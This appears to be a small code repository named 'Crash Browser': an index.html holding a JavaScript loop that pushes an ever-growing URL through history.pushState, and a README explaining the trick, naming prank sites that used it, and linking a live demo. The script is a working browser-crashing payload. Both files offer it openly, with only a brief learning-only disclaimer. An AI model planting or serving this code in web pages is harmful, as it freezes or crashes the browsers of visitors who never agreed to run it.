├── index.html
└── README.md


/index.html:
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1 | <script>
2 | var total = "";
3 | for( var i = 0; i < 10000000000000; i++ ) {
4 |   total += i.toString();
5 |   history.pushState(0,0, total );
6 | }
7 | </script>
8 | 


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/README.md:
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 1 | # Crash Browser
 2 | 
 3 | Simple JS script that overloads the browser with a huge URL.
 4 | 
 5 | ## The code
 6 | 
 7 | The code is super simple!
 8 | 
 9 | The code exploits the [HTML5 pushState](https://developer.mozilla.org/en-US/docs/Web/API/History_API) API used on all modern browsers to update the path of the site you are visiting during JavaScript page navigation.
10 | 
11 | Instead of just changing the path from `website.com/pageone` to `website.com/pagetwo` it creates a string of numbers long enough to slow the browser until it won't function or crash.
12 | 
13 | ```js
14 | var total = "";
15 | for( var i = 0; i < 10000000000000; i++ ) {
16 | total += i.toString();
17 | history.pushState(0,0, total );
18 | }
19 | ```
20 | 
21 | ## Need for Myriad
22 | 
23 | No one is ever gonna *need* it (To Say Nothing Of The Naughty Ones)
24 | 
25 | This script was used in the mischievous websites like [crashsafari.com](https://crashsafari.com) (dead), [crashchrome.com](http://crashchrome.com) (dead), etc.
26 | 
27 | ## Demo
28 | 
29 | Visit [this](https://crashbrowser.now.sh/) link **ON YOUR OWN RISK**. I am not responsible for any harm due to this page...... warned ya!
30 | 
31 | ## Disclaimer
32 | 
33 | * This piece of code is open and I am not the creator or owner of this script.
34 | * It is only for learning and research purpose.
35 | * I am not responsible for any destruction or harm caused due to this program/code.
36 | 


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